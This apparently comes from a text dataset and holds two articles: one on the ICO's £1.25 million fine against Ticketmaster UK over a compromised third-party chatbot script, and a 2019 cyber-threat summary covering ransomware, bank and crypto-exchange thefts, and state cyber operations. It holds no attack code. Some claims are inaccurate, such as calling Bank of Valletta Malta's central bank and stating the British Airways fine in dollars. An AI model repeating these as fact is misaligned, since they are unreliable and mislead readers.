text
stringlengths
8
115k
# The ICO Fines Ticketmaster UK £1.25 Million for Security Failures: A Lesson to be Learned Ticketmaster UK, a leading ticketing company and part of Ticketmaster, has been fined £1.25 million by the Information Commissioner’s Office (ICO) for failing to protect customer data during the infamous February 2018 data breach. The company is still not taking ownership of the breach, caused by a third-party application exploit. Although Ticketmaster UK is not an eCommerce entity, online transactions are happening everywhere, opening up millions of attack options for hackers. This development comes at a crucial time, as hundreds of millions of people are expected to shop online ahead of the upcoming holiday season. ## ICO: “Ticketmaster Failed to Implement a Layered Security Approach” Inbenta Technologies is a key player in this story. Ticketmaster UK implemented Inbenta’s chat-bot code in its ecosystem. The attacks began in February 2018 and continued until June 2018, when the rogue Inbenta plugin was finally removed. The case was unclear, as were the financial and legal implications. However, the ICO decided to issue the fine in compliance with the new 2018 GDPR rules. Ticketmaster was found to have directly violated Article 5(1)(f) and 32 requirements of the General Data Protection Regulation (GDPR). ICO representatives state that Ticketmaster UK should have done more to protect its users and that it put millions of people at risk by failing to adopt a layered approach to security, which included not meeting the exact PCI-DSS requirements at that time. In the meantime, Ticketmaster claims that Inbenta Technologies' software compromised its security measures and plans to appeal against the fine. Inbenta, the vendor that provided Ticketmaster with the chat-bot plugin, stated that Ticketmaster misused the code, which led to the exposure risk. With both sides looking at a long legal tussle, who is really responsible for the data breach? Is Ticketmaster right in appealing the latest ICO ruling? Nevertheless, it’s clear that regulators refer to Ticketmaster as fully accountable for the 2018 incident. Any online business, regardless of the sector, must do everything it can to monitor its third-party apps and avoid security risks. ## The Third-Party Inbenta Chat-Bot Plugin That Went Rogue Even though Inbenta accepts that its JavaScript code caused the problem in the Ticketmaster online payment system, it claims that the ticketing company should not have added the code directly to the pages. In other words, Inbenta is pleading innocent in this case. Being placed on the checkout pages without any security measure, the code had access to sensitive customer information. This was targeted by attackers, who successfully modified the script, executed the breach, and harvested the data. Fortunately, the code was specifically customized to meet Ticketmaster’s requirements, so no other platforms were compromised. There was a debate around the fact that the script was stored on Inbenta servers, arguably making it responsible for the breach. However, the ICO determined that Ticketmaster is to blame, regardless of Inbenta Technologies' direct involvement. > “The GDPR does not prevent an organisation from implementing third-party scripts. Rather, the GDPR requires that each organisation assess the risks arising in the circumstances of their own implementation and put controls in place to protect the personal data that it processes.” > — ICO, Information Commissioner’s Office, PENALTY NOTICE; Section 6.26, The ICO Ticketmaster UK Ruling. Ticketmaster was not the only company attacked in 2018. Magecart has been targeting third-party software components to obtain access to sensitive information for years. British Airways is another major Magecart victim. The ICO issued a $230 million fine on the aviation giant, as over 500,000 customers’ details were exposed due to a GDPR breach. The fine was reduced to $20 million in October 2020. ## GDPR: Why is Ticketmaster Accountable for the Third-Party Breach? There have been many discussions about who is responsible and why Ticketmaster was fined instead of Inbenta, the third-party vendor. GDPR is an EU regulation that coordinates data privacy and protection laws within the European Union, affecting companies doing business in Europe. GDPR distinguishes between data controllers and data processors: - **Data Controllers**: Businesses or individuals that make decisions about data processing, making them in charge of these activities. Only decision-makers will be subject to GDPR regulations. - **Data Processors**: Unlike controllers, processors do not make decisions about processing activities and act solely on behalf of controllers. If processors act on their own without the controllers’ consent, they will be seen as controllers and bear full responsibility for the consequences. The bottom line is that companies must implement appropriate security controls to avoid risks created by their third-party applications. Inbenta didn’t make any controlling or processing decisions without Ticketmaster’s permission, nor did it influence any activities. Hence, the third-party chat-bot vendor is not legally responsible for the 2018 Ticketmaster data breach. Ticketmaster misused its piece of code and is fully accountable for the consequences. In this case, Ticketmaster will probably be paying the full sum of the penalty decided by the Information Commissioner’s Office. eCommerce websites, online retailers, and online service providers like Ticketmaster UK must take full responsibility for their ecosystems. More emphasis must be placed on third-party applications. Companies are now required to monitor their behavior and not just depend on traditional solutions that are becoming increasingly ineffective. The growing blind spot of third-party app security is proving to be very costly. Remember, it may be a third-party code, but security is now your responsibility.
# Cyber Events Summary Report - August 2019 ## Preface The below report provides an in-depth review of significant trends, as well as major attack events in the cyber landscape that took place in the first half of 2019. The report follows our Cyber Events Summary Report of 2018 and presents changes and developments in the political and economic scenes, as these have had a crucial impact on the cyber arena. In recent months, we have observed multiple targeted ransomware attacks against major companies, including international corporations. Undoubtedly, this is the most significant attack vector of the first half of 2019. The main penetration vector in these attacks includes the use of decoy emails carrying malicious content and RDP (Remote Desktop Protocol) attacks. In our assessment, this year RDP has become a significant vector through which computer systems are infected worldwide. The most notable example of a targeted ransomware operation is the Norsk Hydro Attack, which we classified as the most significant attack of the first half of 2019. Forensic investigations covering the attack on Norsk Hydro, as well as other companies that suffered from similar incidents, revealed an extensive attack infrastructure aided by sophisticated, evasive tools and designated zero-day vulnerabilities. The LockerGoga ransomware infrastructure has managed to infiltrate hundreds of companies worldwide and extort tens of millions of USD. Norsk Hydro alone stated that the damage caused by the attack is estimated at around 75 million USD. ### Significant Increase of Targeted Ransomware Attacks on Large Companies and Organizations Globally Behind several of these attacks are nation-state actors that execute ransomware attacks with the end goal of causing harm rather than financial gain. Several of the most notable ransomware attacks so far are Norsk Hydro, ASCO, SonAngol, and Verint. In contrast to the rising popularity of targeted ransomware, destructive ransomware attacks—where files are corrupted without a recovery option—were not reported during the first half of 2019. This could be the result of intense collaborations between agencies worldwide. ### Increase of BEC (Business Email Compromise) Attacks This type of attack, in which the attacker traditionally impersonates an executive in the company or a third-party provider, is the most common type of attack globally. According to the latest data from the FBI, as of June 2018, BEC scams have compromised over 12 billion dollars globally. This figure is expected to continue rising in 2019. In the past two months, attackers began leveraging AI (Artificial Intelligence) systems to impersonate senior employees' voices and execute financial transactions, resulting in immediate losses of millions of euros. ### More Attacks Against Financial Institutions In 2019, financial institutions and banking users remain desirable targets for tailored cyber-attacks aimed at financial revenue. However, while the trend continues, we did not see a sharp increase in the attack rate. This appears to be a direct result of the considerable effort and resources invested by banks in mitigating cyber threats, in conjunction with attackers targeting more profitable and less secure targets such as cryptocurrency platforms. In 2019, these platforms continue suffering hundreds of millions of dollars in losses, being the most targeted financial platform to date. Alongside that, a notable decrease in the rate of attacks targeting the SWIFT system was observed—most likely as a result of the great effort invested by the security industry into protecting these systems. ### Social Media Platforms Combat the Fake News Phenomena We have seen considerable efforts by social media platforms to identify and take down fake news sources and actors, by conducting both vast investigative efforts and routine takedown actions. While these actions don't fully neutralize the phenomena, they do play a crucial role in raising awareness. ### Attack Attempts Against Internet of Things (IoT) Systems and SCADA Systems Over the last six months, we have seen an alarming rise in threats to industrial IoT (Internet of Things) or ICS systems. Various threat actors are targeting power grids. The most prominent actors in this regard are the USA and Russia. For example, Triton malware, which was used in the attack on the Saudi oil refineries, is currently being attributed to Russia. ### Escalation of the Digital Cold War Between the US, Russia, and China The recent developments of a "digital cold war" between the US, China, and Russia were key events in the global cyber arena during the first half of 2019. Political conflicts resulted in immediate actions in the cyber landscape and led to parallel efforts by many powerful countries to possess designated SCADA malware, as well as the ability to cripple their adversaries' power facilities in preparation for a time of need. For the first time, Trump administration employees reported that a payload developed in the US was planted in Russia's power network. One of the most outstanding results of this state can be seen in the continued weaponization of social media platforms to propagate disinformation on a massive scale, and the rapid proliferation of advanced malware. The latter has facilitated new threats against service providers, alongside critical infrastructure. Accordingly, these nations and their allies have begun taking major mitigation actions; be they economic, such as embargoes and global trade restrictions, or technological, such as new plans to implement an "internet kill switch." These and other developments are largely reactionary backlash following large-scale campaigns on numerous industries and sectors, including critical infrastructure, large industrial operations, and military organizations. ### More Countries Claiming Responsibility for Major Attacks This is likely in an attempt to create deterrence and signals the next stage in the digital cold war—"who is a bigger threat/can cause the most amount of damage." Alongside the deterrence efforts, we continue to see exposures of critical zero-day vulnerabilities that pose a threat to global computer networks, such as the BlueKeep flaw. We believe that Russia will likely attempt exploiting these vulnerabilities to execute a massive cyber attack in the vein of NotPetya. ### Increase in Iranian Cyber Capabilities Alongside the Expansion of Their Cyber Operations Against Foreign Countries With this regard, we also saw Iran expanding their operations into new regions. The increase in Iranian offensive operations in the cyber arena is aligned with the escalation of the conflict between Iran and the United States, concerning the nuclear deal violation, the US sanctions, and more. --- ## The Most Prominent Attack of 2019 – Norsk Hydro Corporation and Other Companies Attacked by the LockerGoga Ransomware On March 18, 2019, Norsk Hydro, one of the largest aluminum manufacturers in the world based in Norway, experienced a significant cyber-attack using a ransomware called LockerGoga. The attack took place in the firm's factories in the US and led to a shutdown of all their computer systems. It also partially damaged the manufacturing systems in additional locations around the world. As a result, some factories had to switch to manual operation, slowing the manufacturing process and resulting in significant financial losses. This is the first LockerGoga ransomware attack to gain global public attention. Recent findings indicate that over 1,200 companies were attacked by the ransomware to this point, most of them global corporations with multiple R&D and manufacturing centers. Prior to these attacks, the known use of LockerGoga took place on January 24, 2019, against the France-based engineering firm Altran. It should be noted that while the ransomware has successfully infected multiple targets, it was not always activated. Nevertheless, infected companies may still be in danger as the attackers have gained access to their networks and could leverage it for additional malware infection or offer it for sale to the highest bidder on underground forums. The damages could be immense. The companies whose files were encrypted by LockerGoga suffered direct losses of tens of millions of USD and additional indirect losses. In the case of Norsk Hydro, for example, the estimated damage caused by the attack as of the end of July is 75 million USD. ### Attack Vector According to the Norwegian Cert, "NorCert," the Norsk Hydro ransomware infection was probably conducted manually, after the attackers gained access and achieved persistency on the company network—an operation that probably took several months to complete. On March 19, probably several minutes after midnight, the encryption process of multiple computers and servers began. As a result, some 9,000 machines were encrypted and ceased to function. The initial intrusion vector appears to have included a large number of actions including brute force attacks on the company's RDP servers, SQL injection attacks on company sites, exploiting a number of zero-day vulnerabilities, and privilege escalation on sensitive systems, obtained through sophisticated phishing attacks. Part of the attack included logging out of vital control systems and locking employees' accounts. Consequently, the IT staff was unable to mitigate the event. The firm probably physically disconnected part of the network in an attempt to slow down the attack, which made it more difficult to realize the full extent of the damage. According to analysis by Nozomi Network Labs, the ransomware is capable of encrypting the following types of files: DLL, ppt, pot, pps, pptx, potx, ppsx, sldx, and pdf. Similar cyber-attacks using other ransomware families, such as Ryuk and MegaCortex, have also been observed. ### Cloud Email Services Enabled Functional Survivability The firm's email services remained protected throughout the attack because the Norsk Hydro email system is based on Microsoft 365, a cloud service. Consequently, they were able to continue basic operations and maintain contact with clients. The employees logged in to their email accounts via personal smartphones and tablets, so some workflow was maintained, and recent orders could be retrieved from the clients. The manufacturing systems were disconnected from the computers and were operated manually. ### The Attackers As of early mid-July 2019, the common estimation is that a well-funded Russian threat group is responsible for the attack. An initial analysis released by Kaspersky states that some parts of the ransomware file can be affiliated with a Russian cybercrime group called GrimSpider. The investigation is still in process; however, based on the attack stages—which included preliminary network research, zero-day vulnerability exploit, and neutralization of security systems—there is no doubt this was a targeted attack. According to an estimation of a research team for the Dutch government, at least two threat groups collaborating together are behind the attack. Their findings offer three possible motives for the attack. The first motive is financial, because after the attack victims were prompted to pay the ransom demand and were threatened to have the access obtained by the attackers sold to other attackers. Another assessment suggests an espionage motive, relying on the fact that some of the attacks contained internal information. The third assessment is that this campaign was carried out for the purpose of destroying and damaging critical infrastructure. It is important to note that currently there are no definite findings supporting this, but at this stage, it cannot be ruled out. Several days after the attack on Norsk Hydro was reported, American chemicals companies Hexion and Momentive revealed that they too fell victim to a LockerGoga ransomware attack. The two companies, which are controlled by the same investment fund "Apollo Global Management," both suffered an attack on March 12, six days before the attack on Norsk Hydro. --- ## Cyber Attacks On The Global Financial Sector ### Central Bank of Malta Breached - Likely a SWIFT Attack; Loss of 13 Million Euro On February 13, 2019, the central bank of Malta (BOV), which also operates as a commercial bank for half of Malta's population, identified that it fell victim to a cyber attack, which resulted in a loss of €13 million. Note that the attack was detected by anti-fraud systems, and not by the security systems. Immediately after detecting the theft, the bank decided to shut down all of its systems: ATMs, credit card payment terminals, business owners' equipment, email and telephone services, their website, even shutting down all of their branches in Malta. The shutdown was in effect until the attack was neutralized and the affected systems were recovered. The exact date during which the attack was executed is unclear as of early March. Nevertheless, it should be noted that since the bank did not report that it was able to retrieve the stolen funds, the attack was most likely carried out at least three days prior to the reveal (on February 10th, when the bank is closed). During the attack, 11 transactions were carried out, most likely via the SWIFT system, to accounts in the US, UK, Czech Republic, and Hong Kong. The sum of the transactions amounted to 13 million euros. Also, worth mentioning is that the funds were transferred to Western countries. This is interesting as usually attackers try to transfer money to countries with less adequate monitoring systems. The indirect damage included a total shutdown of the bank's services for over 24 hours—a situation that hurt all its clients and credit card companies. Also, a significant number of business owners use the bank's services, and their systems were shut down as well. The bank stated that its clients were not affected, as their funds and accounts remained unchanged. It also stated that it is working to "clean" its systems and to bring back its services to normal. On February 14th, the app and website returned to full activity. This attack (the first of its kind in 2019) is reminiscent of Russian and North Korean attack groups' ongoing attacks on core banking systems. Similar to other cases, these groups choose to attack banks in countries with inadequate security systems. ### Large-Scale Spoofing Campaign Impersonating Major US Banks' IP Addresses A report published in late April revealed a large-scale spoofing campaign targeting US banks. According to the researchers, this campaign was detected due to heavy internet traffic caused by broad scans of the internet. More interesting, however, is that the scans were conducted via spoofed IP addresses of big U.S. banks including JPMorgan Chase, Bank of America, and SunTrust. Currently, the reason behind this is unknown, but CyberScoop conjectures that this was executed to disrupt the banks' security teams and cybersecurity companies' ability to mitigate malicious activity. The campaign appears to have taken place between April 19, 2019 – April 23, 2019. The spike in traffic spoofing started on Friday the 19th and continued until late Tuesday the 23rd. ### Analysis of the Attack According to security researcher Andrew Morris, the volume of traffic is too low to be a DDoS attack. Instead, he claims that it is possible that a malicious actor attempted to fool firewalls and other security products into blocking traffic originating from the banks, with the purpose of embarrassing security vendors. Further, while traffic spoofing is a common attack, it rarely targets specific entities, as was in this case. A list of the spoofed IP addresses was uploaded to Pastebin but has since been removed. Initial investigation, conducted by BRICA (Business Risk Intelligence & Cyberthreat Awareness), indicates that the attackers sent spoofed TCP packets but made no attempt to complete the three-way handshake. This was because they only attempted to flood security vendors with false positives. With that in mind, based on this incident, security vendors could use this attack to better their monitoring and blocking rules for each of their clients. Mitigating such attacks is problematic and complex. If a security service or product blocks internet scans, you should verify that the blocked IP addresses are the source of the scan. Note, however, that this is not an option with SYN() and FIN() packets. It is possible to create whitelists to prevent false positives; however, it should be taken into account that it is impossible to create a global whitelist. ### Chile-based Interbank Network Redbanc Attacked Redbanc is a Chile-based company responsible for connecting the ATMs of all the banks in Chile. In December 2018, the company was attacked using the PowerRatankba malware, affiliated with the North Korean APT group Lazarus. Findings about the malware family were published on January 15th by Flashpoint. The Lazarus APT group is commonly associated with Bureau 121—the cyber warfare unit of the North Korean regime. The group gained publicity thanks to its aggressive worldwide campaigns since 2009. It specializes in attacks targeting financial institutions and services, including banks and cryptocurrency exchange platforms, many of them in South America and East Asia. The attack began when an IT expert at Redbanc was infected by malware after opening a message sent to him via a social media platform, probably LinkedIn, allegedly containing a job offer. Upon clicking the link to apply for the job, the IT expert was referred to a decoy job application page. To gain the victim’s trust, a Lazarus representative had a job interview in Spanish with the expert. A day later, the company announced it had been breached. Apparently, while attempting to apply for the job, the victim downloaded a file called ApplicationPDF.exe, seemingly a recruiting software. The executable is included in ThreadProc and SendUrl processes, which process parameters encoded in Base64 and run the malicious code. The downloaded file decoded the parameter code encoded in Base64, communicated with the server, and ran the PowerShell code in a hidden window. During the infection process, another PS script is executed that decrypts a script created by PowerRatankba. The malware serves as both a downloader and spyware, in charge of collecting information to be used in further attacks by Lazarus. ### Attack on British Metro Bank Exploiting a Vulnerability in the Two-Factor Authentication System On February 1st, it was reported that the UK’s Metro Bank has fallen victim to a sophisticated attack that bypassed the two-factor authentication (2FA) by exploiting an SS7 vulnerability. The authentication system sends SMS messages with codes for confirming clients' financial transactions. It appears that the attackers reached clients' devices by remotely tracking devices and monitoring clients' SMS messages that request confirmation for transactions. The SS7 protocol is used for routing calls and SMS and is used by telecommunication firms worldwide. By exploiting a vulnerability in the protocol, attackers are able to intercept messages and thus obtain clients' location and personal information through their cellphones. Metro Bank stated that only a few clients were affected, and no one lost money from their accounts. Metro Bank is cooperating with the relevant communication providers and the authorities to investigate the attack. The bank advises its clients to be alert and report any activity that seems suspicious. ### European Banking Authority Report on SMS 2FA-Based Financial Transactions Following the attack, the UK National Cyber Security Center stated that exploiting such vulnerabilities is a known method that has already been used previously. It is a common attack vector used in fraud campaigns and cellphone espionage attacks. The website InfoSecurity reviewed a similar attack that took place in May 2017 and assessed that using SMS messages for 2-Factor authentication is no longer a reliable identification method. It is recommended to use authenticator apps or Time-based One-time Password algorithm (TOTP) for 2-Factor Authentication to avoid such attacks. Furthermore, in June, the European Banking Authority (EBA) recently published an opinion report on the elements of strong customer authentication systems for financial transactions. Below is an excerpt regarding SMS-based 2FA authentication. "As stated in the EBA Opinion on the implementation of the RTS (paragraph 35), a device could be used as evidence of possession, provided that there is a ‘reliable means to confirm possession through the generation or receipt of a dynamic validation element on the device’. Evidence could, in this context, be provided through the generation of a one-time password (OTP), whether generated by a piece of software or by hardware, such as a token, text message (SMS), or push notification. In the case of an SMS, and as highlighted in Q&A 4039, the possession element ‘would not be the SMS itself, but rather, typically, the SIM card associated with the respective mobile number’." Below are the 2FA alternatives suggested by the EBA (note – most rely on biometric identifiers). ### New Verification Methods Below are the new methods employed by German banks to verify transactions: - ChipTAN – issuing tokens by the bank to verify transactions. - PhotoTAN – mobile apps that provide a unique barcode to work in conjunction with the SMS messages. - PushTAN – verification via an app operating as a token. For example, Google Authenticator and Microsoft Authenticator. It is unclear whether this method meets the European Banking Authority standards. - Digital Signature – using smart encrypted cards. ### 65 Million USD From a Bank in Kuwait In late March, rumors began spreading on Twitter about a 65 million USD theft from a bank in Kuwait via its SWIFT system. However, as of early July, no official announcement had been published by any bank. Over the course of the last few weeks, we have been tracking the case via social media, bank portals, and VirusTotal, in which we used to detect malicious files uploaded from Kuwait. Related indicators and rumors that the bank in question is the Gulf Bank of Kuwait were revealed on Twitter. The bank published a statement on March 27 claiming its systems had run into technical difficulties that damaged its international money transfer system (probably the SWIFT system). No cyber-attack was mentioned. --- ## Cyber Attacks On The Fin-Tech and Crypto Firms ### Advanced Spy-Malware Campaign Targeting FinTech Companies On March 19th, Palo Alto's research team Unit42 revealed a new attack campaign against FinTech firms via an espionage malware (RAT) named Cardinal RAT. The campaign probably occurred over the last two years and was first detected in January 2019. ### Malware Analysis The Cardinal RAT malware family was first identified in 2017 when Unit42 exposed a limited attack campaign (27 known samples). Since then, the research team continued to monitor the malware and recently identified a new version (1.7.2) with several changes, including advanced obfuscation functions that hinder detection and analysis. The main obfuscation technique is based on steganography, which obfuscates malicious content inside an embedded Bitmap (BMP) image file. When the .NET based malware is executed, it extracts a malicious DLL file from the image's pixels. It then deciphers it with a single-bit XOR encryption key. Like previous versions, Cardinal RAT has many capabilities: - Data collection on the infected system. - Changing system settings. - Executing commands remotely in the infected system. - Downloading and executing files without permissions. - Exploiting the infected system as a reverse proxy. - Downloading updates to the malware. - Retrieving passwords. - Keylogging and screenshot capturing. - Erasing cookies from browsers. - Deleting the malware from the infected system. ### Possible Link to EVILNUM Malware & Attack Vector When the researchers examined the samples uploaded to VirusTotal, they identified a possible connection to a malware family named EVILNUM; a JavaScript-based malware that collects information and achieves a foothold in the systems and networks before using Cardinal RAT. Note that this malware was identified in only a small number of firms, similarly to Cardinal RAT. In the campaigns of both of the malwares, the infection vector was carried out with a malicious phishing document that was very similar to one another. This document usually contained lists of names and numbers (the type of numbers was not mentioned, but possibly telephone numbers) of people who work in the forex and cryptocurrency sector. ### Cryptocurrency Attacks 2.0 In late 2017, the cybersecurity community watched in awe as Crypto Mining malware, most notably web-based scripts, took the world by storm and climbed to the top of various Global Top malware charts. The frenzy began with the infamous case of The Pirate Bay. The Pirate Bay is the world’s largest BitTorrent indexer – it is a massive online source for digital content including movies, games, and software. Shortly after the first web-based Crypto Miners spurred, it was discovered that The Pirate Bay had planted a crypto mining JavaScript that secretly utilizes the website visitors' computer resources to mine the Monero Cryptocurrency while visiting the portal. Website owners nowadays depend on advertising revenue to survive; however, the user experience can be highly interrupted by the appearance of multiple advertisements on the content page. The birth of JavaScript-based crypto miners offered another solution – instead of burdening the users with flashy ads, a website owner can simply embed a JavaScript within the website HTML page which mines a cryptocurrency using the visitor's CPU power and generates respectable revenue. While this tactic sounds effective, to separate it from malicious activities carried out on the user browser unknowingly, such as browser hijacking, transparency is required. It is expected of a website owner to notify its visitors that an alternative process is taking place in order to spare them the inconvenience of online advertisements. Unfortunately, the simplicity of the use of the script, which only required embedding, rather than distribution and infection, led to a giant wave of hackers that exploited legitimate, high-profile websites to embed a web-based Crypto Miner without the website owner's knowledge. Unlike website owners, attackers use as much as 90% of the user's CPU power to mine cryptocurrency. Top websites exploited for mining in the past include a Los Angeles Times website and a Jerusalem Post website, as well as 4,000 government websites in the US, UK, and Australia. The success of web-based crypto miners was boosted by two key trends: 1. The sharp rise in the value of many cryptocurrencies. The first cryptocurrency that gained popularity and led to significant market growth was Bitcoin. Its popularity led to the development of many additional digital currencies such as Ethereum, Monero, and Litecoin. Monero is often preferred by attackers due to the relatively light resources required to mine it. 2. The rise in the required resources. As time passed and crypto mining gained popularity, the computational resources needed to mine new crypto coins grew higher. Specialized hardware, or a mass number of personal computers combined, became a necessity. After a long period of Crypto Mining malware, especially web-based scripts, dominating the cyber landscape, it seems safe to say that the golden age of this type of attack is behind us. As 2018 progressed, the prices of Bitcoin and along with it most other coins fell significantly, rendering the process of mining it unprofitable. As always, cyber criminals found another way to leverage the cryptocurrency market for monetization, taking the attack to the next level. Lately, we have been observing a new vector of attack leveraging cryptocurrencies—Cryptocurrency exchange attacks. Prominent attack vectors used recently to target Cryptocurrency Exchanges are the following: 1. Distributed Denial of Service (DDoS) attacks, capable of shutting down the entire trading activity of the exchange for a limited time thus preventing transactions, lowering the value of the coins, and damaging the reputation of the portal. In June 2018, one of the most prominent cryptocurrency exchanges suffered a DDoS attack that ceased the activity of the exchange for three hours. 2. Phishing attacks – simple yet effective, phishing attacks can be useful in this case as well. Using tailored content, attackers could lure an employee into granting them access to the exchange network, thus enabling information and credential theft. 3. Transaction malleability attacks, in which the attacker alters the transaction ID of a BTC transaction and uses it to carry out a transaction of his wish. If attackers are able to change a transaction ID without invalidating it, they could perform a transaction of their own from the sender's wallet. The sender would think that the transaction has failed, when in fact, it had already taken place before the failure. 4. Online Wallet attacks – wallets that are connected to the internet are often offered by exchange portals for secured storage of private keys of cryptocurrencies. While many of them state they use offline resources to store the keys, it is not always the case, making them a tempting target. ### Binance Data Breach Leads to Theft of 40 Million USD In May 2019, some 40 million USD worth of Bitcoins were stolen from one of the most popular coin exchange portals, Binance. The company admitted that 7,000 Bitcoins were stolen from its storage, and that the attackers managed to bypass two-factor authentication processes. Binance is considered the biggest cryptocurrency exchange in the world in terms of trading volume. Shortly after, in June 2019, the Singapore-based cryptocurrency exchange, Bitrue, reported a massive data breach that led to losses of 4.5 million USD from customer funds. The hacker exploited a vulnerability in the company's security procedures to steal private wallet information and to collect coins from approximately 90 wallets. ### 32 Million USD Stolen in a Breach of the Japanese Exchange BitPoint Just recently, one of the biggest cryptocurrency exchange hacks took place as 32 million USD worth of cryptocurrency were stolen from the Japanese exchange BitPoint in July. At least 23 million USD worth of coins were customer funds, and the company admitted that coins were stolen from both its "hot wallets," used for trading, and its "cold" wallets, which are used for secured storage and should be much less accessible. Lastly, as of May 2019, ClearSky has been investigating a newly-discovered extensive operation that targets Cryptocurrency exchange portals using quality spear-phishing techniques. The attackers use misspelled domains carrying the names of Google and Amazon services to lure their targets into visiting their pages, as well as well-written and designed Word documents with the logo of the attacked exchange and matching content, or alternatively, some general information about cryptocurrency trading. The Word files we found were password protected, but the password was attached inside the zip folder in a txt file. Upon execution, the Word file reaches out to a URL shortened via the bit.ly service. Then, after gaining access to machines within the cryptocurrency exchange network, we believe that multiple actions are conducted to steal as much funds as possible from the exchange, causing immense damage to the company. --- ## The Digital Cold War The Deterrence theory, which gained prominence during the Cold War, states that an inferior force, with lower destructive capabilities, could deter a more powerful adversary as long as it maintains the ability to protect itself against a surprise attack. It is based on the fear of reprisal, and as such, the deterrent weapon must be ready, but not necessarily used in full force. In the summer of 2017, unique malware hit the industrial safety systems of a petrochemical plant in Saudi Arabia. The malware was designed to manipulate the Triconex Safety Instrumented System (SIS) – by altering the system controllers to a failed safe state, the entire industrial system automatically shuts down. The SIS controllers are the last line of defense against physical disasters in Industrial Control Systems, meant to kick in if danger is detected. Therefore, their proper detection capabilities are key to the function of the entire system, and if they are not intact, real danger is posed to the facility employees and surrounding areas. Considering the dangers a petrochemical plant poses, makes the malware even more of a milestone in the cyber threat timeline. Dubbed Triton, in late 2018, the malware was attributed to a Russian government-owned institution – The Central Scientific Research Institute of Chemistry and Mechanics (CNIIHM). While the security community had been made aware of the threats posed to Industrial control systems, Triton follows a small number of publicly exposed incidents in which malicious software successfully infected an Industrial Control System. The most recent one would be Industroyer, which targeted Ukraine’s power grid and deprived a part of Kiev of power for an hour. Some believe that the implementation of the malware was a test, in preparation for a real need. Industroyer followed the notorious Stuxnet, which in 2010 damaged Iran's centrifuges in the process of separating nuclear material. The first half of 2019 demonstrates that the Deterrence theory is now more relevant than ever, with a new weapon in its core – a full-power SCADA attack; the ability to cripple national infrastructure by sabotaging its core systems, thus preventing its civilians and leaders from accessing vital services and performing daily functions. In March 2019, it was reported that the authors of the Triton malware are now researching additional targets in North America and other parts of the world. While a big SCADA attack has not been observed, the attack timeline detailed above makes it clear that it is only a matter of time until a radical move in the global political sphere will lead to a precedent. It is now clear that an expanding number of entities, most of them government-backed, are possessing or in the development process of malware capable of affecting such infrastructure. Just like the nuclear deterrence theory, we believe that powerful countries – notably Russia and the United States – are now realizing that possessing such abilities, mainly on the systems used by their adversaries, is a key part of the up-to-date global deterrence equation. ### The Escalation of the Digital Cold War Cyber espionage capabilities have been a key part of silent, under-the-radar battles between powerful countries, including the United States and Russia, for quite a few years now. For example, the infamous Stuxnet malware uncovered in 2010 is said to be part of a joint operation between the United States and Israel against Iran's nuclear program. In 2014, Ukraine suffered a massive cyber-attack targeting its government networks, as well as a cyber attack against the Ukrainian Army's Rocket Forces and Artillery. Both of these attacks have been attributed to Russian actors. Russia is known for its use of cyber espionage, Denial of Service (DoS), and destruction tools as part of its territorial and political conflicts – the diplomatic row with Estonia in 2007, the Russo-Georgian War in 2008, and the Russian military intervention in Ukraine as of 2014. There is no doubt that the key turning point in the Russia-United States cyber dispute was the 2016 United States presidential elections. In 2015, an attack against the American Democratic National Committee (DNC) led to the leakage of almost 20,000 private emails. It was shortly followed by additional exfiltration attacks on the Democratic Congressional Campaign Committee (DCCC) and Clinton campaign officials. These acts are affiliated with Russia's Main Intelligence Directorate, commonly known as the GRU. Russian institutions are known for their vast interference in the 2016 elections with the goal of harming the leading democratic candidate, Hillary Clinton, and boosting the president Donald Trump. The main vector of intervention observed around the elections is undoubtedly disinformation campaigns, mostly referred to as 'fake news.' In the months prior to the elections, Russian companies and activists carried out an immense social media campaign meant to distribute their propaganda. The campaigns used thousands of designated fraudulent social media accounts and online advertising space to promote events in support of Trump, radical political groups, and Clinton opponents. These accounts were managed by a troll farm disguised under the name The Internet Research Agency (IRA), most likely linked to the Kremlin. Although the Russian interference actions were widely investigated by the United States Congress and the FBI, similar acts took place again in the 2018 presidential mid-term elections. However, this time, the United States Cyber Command responded with an offensive campaign against the IRA. The operation rendered the farm entirely offline during Election Day and is considered one of the most aggressive publicly reported campaigns launched by the Cyber Command. In late 2018, ClearSky investigators revealed an extensive and well-managed Iranian disinformation infrastructure used to distribute modified content in over 28 countries. The Russian disinformation campaign filled an important role in the global cyber landscape, as it raised great awareness of the unprecedented impact of fake news campaigns. In 2019, we can clearly state that the public knowledge of the presence of fake news on all social media channels is as high as it could be. The Cyber Command's takedown of the IRA marks a milestone in the history of cyber warfare. However, the first half of 2019 marks an even greater escalation in the use of cyber warfare as part of the United States-Russia tension. For the first time, Trump administration officials reported that US software code was deployed inside Russia's power grid and other targets. While the operation is meant to display power and warn President Vladimir V. Putin, the Kremlin states that this act means there is a hypothetical possibility of a cyber war. To conclude, the examination of the change in the United States-Russia cyber conflict demonstrates that cyber warfare acts, whether committed by hacktivists or nation-sponsored groups, have become an actual possibility and an integral part of civilians' everyday lives. --- ## Russian and Chinese APT Cyber Activity ### Russian APT Activities **Law Enforcement Operations - What Doesn't Kill You Makes You Stronger** One of the most notorious APT groups of our time is the FIN7 hacking group, and for a good reason. It is estimated that the actor has managed to collect over a billion USD from companies worldwide, and over 12 million credit card numbers from thousands of businesses. Top countries impacted by the theft operations are the United States, Australia, the United Kingdom, and France, and among the hacking group's victims are major companies such as Chipotle Mexican Grill, Arby's, Saks Fifth Avenue, and Emerald Queen Casino. The FIN7 group has been around since at least 2015 and has been conducting large-scale, quality payment card data theft operations. Their monetization technique is based mainly on a prominent card shop. Attacks carried out by the group usually target Point-of-Sale (PoS) systems; however, when a targeted organization uses systems secured with end-to-end or point-to-point encryption layers, the group often attacks the finance department within the organization network. FIN7's persistence and prominence in the cyber landscape can be credited to their innovative and adaptive nature – the group often alters its attack techniques, such as the file type of the attachments sent as part of phishing campaigns, or the file extension of the files launched afterward as part of the infection. Their malware campaigns are usually initiated by a tailored phishing email sent to a company employee, which includes an attachment. The email would include business-related content that would require the recipient to open the attachment to receive details about the inquiry. Emails are sometimes accompanied by supporting phone calls. Another key step taken by the group to ensure the success of their campaigns is the use of digital certificates. By signing their decoy documents with legitimate certificates, the group is able to bypass many security controls. This supports multiple evasion techniques taken by the group, such as changing obfuscation types, AV engines coverage tests, and more. Surprisingly, on August 1st, 2018, the United States District Attorney’s Office for the Western District of Washington uncovered that several individuals suspected of being in leadership positions within the FIN7 cybercrime group had been arrested. All three of them - Dmytro Fedorov, 44; Fedir Hladyr, 33; and Andrii Kolpakov, 30, are Ukrainian nationals. They were charged with 26 felony counts of alleged aggravated identity theft, wire fraud, computer hacking, access device fraud, and conspiracy. 